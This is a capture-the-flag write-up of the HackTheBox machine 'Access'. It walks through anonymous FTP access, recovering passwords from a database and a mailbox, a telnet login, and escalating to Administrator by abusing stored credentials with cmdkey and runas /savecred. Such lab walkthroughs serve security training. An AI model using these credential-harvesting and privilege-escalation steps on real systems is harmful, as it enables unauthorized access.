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Access - WriteUp

Posted on: 02 Mar 2019 | HackTheBox

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External Recon

We kick off a basic nmap scan:

nmap -sC -sV 10.10.10.98

PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
23/tcp open  telnet?
80/tcp open  http    Microsoft IIS httpd 7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

As you can see, we find some very common ports. When we visit the website listening on port 80 we just find a picture of a server-room. Not so big

Let’s check ftp and telnet by running another nmap scan.

nmap -A 10.10.10.98

PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 425 Cannot open data connection.
| ftp-syst:
|_  SYST: Windows_NT
23/tcp open  telnet?
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5

First thing to note is that we have anonymous access to the ftp server. Let’s login an see what we find.

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Explore

ftp 10.10.10.98                                                                                                                            

Name (10.10.10.98:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.

ftp> dir
08-23-18  08:16PM       <DIR>          Backups
08-24-18  09:00PM       <DIR>          Engineer

In both directories are files. I downloaded them with get <filename>. Not so big

The zip file was password protected. So, I moved over to the database file. I ran the tool strings and grep on it and hoped for a quick win. Perhaps we find a password.

And indeed I found a password to the zip:

strings backup.mdb | grep access
access4u@security

Of cause I tried different versions of this. grep passw and others. To be honest. I don’t know what else I tried. Perhaps I just piped strings into more and searched manually. ;)

However in the zip file, I found a .pst file. If you don’t know what this is, you can run file against it and find out it’s a Microsoft Exchange format for Mailboxes.

We can’t read it how it is right now. So I searched for a converter. Very quickly I came across pst-tools. You can get them via apt in kali.

After installing it, I ran readpst. It converted the file to a .mbox file. You can get the file here.

In it you find an email from John.

Hi there,

The password for the “security” account has been changed to 4Cc3ssC0ntr0ller.  Please ensure this is passed on to your engineers.

Regards,
John

How kind! Thanks John! :)

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Exploit

Let’s login with our new credentials: Not so big

And we’ve got a shell. Including user.txt

C:\Users\security\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is 9C45-DBF0

 Directory of C:\Users\security\Desktop

08/28/2018  06:51 AM    <DIR>          .
08/28/2018  06:51 AM    <DIR>          ..
08/21/2018  10:37 PM                32 user.txt
               1 File(s)             32 bytes
               2 Dir(s)  16,767,012,864 bytes free

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Interal Recon

I searched around in the box for clues how to proceed. Eventually I checked for stored credentials:

cmdkey /list

Currently stored credentials:
Target: Domain:interactive=ACCESS\Administrator
Type: Domain Password
User: ACCESS\Administrator

If you want to learn more about Windows Enumeration check this blog. He has some HackTheBox WriteUps too.

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Privilege Escalation

In order to use those stored credentials, I used runas with the /savecreds option.

runas /user:ACCESS\Administrator /savecred "cmd.exe /c type c:\users\administrator\desktop\root.txt C:\Users\security\AppData\Local\Temp\root.txt"

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Root Flag

So we’ve got our root.txt:

Not so big

But getting a shell is fun. At least when you don’t do a writeup. For some reason my payloads wouldn’t work anymore. So I had to figure out another way to get a shell.

I won’t give you the complete rundown today. I probably will do a seperate blog for different shells in the near future. Just get yourself this repo: Github: nishang and play with Invoke-PowershellTCP. It’s cool! :)

Not so big

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Lessons Learned

I should learn to take propper notes on my machines. I had to do the machine a second time basicly. sigh

That’s it for today. Have a nice one!
x41

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